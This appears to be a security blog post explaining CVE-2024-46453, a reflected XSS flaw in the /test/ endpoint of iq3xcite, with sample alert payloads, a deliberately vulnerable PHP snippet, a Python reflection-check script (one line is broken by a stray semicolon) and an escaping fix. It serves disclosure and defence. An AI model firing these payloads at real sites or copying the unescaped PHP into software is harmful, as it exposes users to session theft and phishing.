CVE-2024-46453 - Exploiting XSS in **iq3xcite** `/test/` Endpoint (Versions 2.31–3.05)

A new security issue, CVE-2024-46453, has been found in the web application framework iq3xcite versions 2.31 to 3.05. This vulnerability allows attackers to inject and run malicious JavaScript or HTML (commonly called Cross-Site Scripting, or XSS) through the /test/ component.

In this post, we’ll break down what this means, show you sample code and payloads, and guide you through understanding and potentially testing the exploit (for research and authorized security assessment only).

What is CVE-2024-46453?

This is a Cross-Site Scripting (XSS) vulnerability. By exploiting this flaw, attackers can inject harmful JavaScript code into web pages which will be run in the browsers of users who visit. That means attackers could potentially steal session cookies, redirect visitors, or display phishing pages.

iq3xcite: v2.31 to v3.05

- Component affected: /test/

How Does the XSS Happen?

The /test/ endpoint does not properly sanitize or encode user input before rendering it in the browser. This gives attackers a way to slip their code into the page. Typical XSS payloads could be as simple as:

<script>alert('XSS');</script>

When this payload is sent through a vulnerable parameter, the browser runs it as if it were legitimate code from the website.

Demo: How to Exploit the Vulnerability

> Warning: Never test vulnerabilities on systems without clear permission. Only use local or authorized test environments.

Suppose the /test/ endpoint uses a GET parameter called input. If you open a URL like this

http://your-domain.com/test/?input=%3Cscript%3Ealert('XSSed')%3C/script%3E

The browser will decode that to

http://your-domain.com/test/?input=<script>alert('XSSed')</script>;

Where is My Input Reflected?

This vulnerability requires the input parameter to be reflected back into the page without proper filtering. Here’s a simplified example of what the vulnerable code might look like (in PHP):

<?php
// test.php (inside /test/)
$input = $_GET['input'];
echo "<div>Input: $input</div>";
?>

No escaping means your JavaScript runs directly in the user’s browser.

URL encoded payload

/test/?input=%3Cimg+src%3Dx+onerror%3Dalert(1)%3E

If you want to automate the test (for your own applications), use the following Python example

import requests

payload = '<script>alert("pwned!")</script>'
url = 'http://your-domain.com/test/?input='; + requests.utils.quote(payload)

resp = requests.get(url)
if payload in resp.text:
    print('Vulnerable to XSS. Payload reflected:')
else:
    print('Not vulnerable or payload was filtered.')

Burp Suite or browser tools can also be used to send crafted requests and intercept responses.

Mitigation Advice

- Upgrade to the latest version of iq3xcite (check the official repository for patched releases).

In PHP (Example Fix)

$input = htmlspecialchars($_GET['input'], ENT_QUOTES, 'UTF-8');
echo "<div>Input: $input</div>";

References

- NVD CVE-2024-46453
- iq3xcite GitHub
- OWASP XSS Prevention Cheat Sheet

Conclusion

CVE-2024-46453 is a typical but dangerous XSS flaw. If you use iq3xcite versions 2.31 to 3.05, update as soon as possible. Always validate and escape any user input in your web applications, and use tools like Burp Suite to test your own sites for this (with permission). Be careful, stay updated, and keep your users safe!


> Disclaimer: This article is for educational purposes only. Only use these techniques on systems you own or have permission to test. Misuse may be illegal.

Timeline

Published on: 09/27/2024 21:15:03 UTC
Last modified on: 10/07/2024 13:53:04 UTC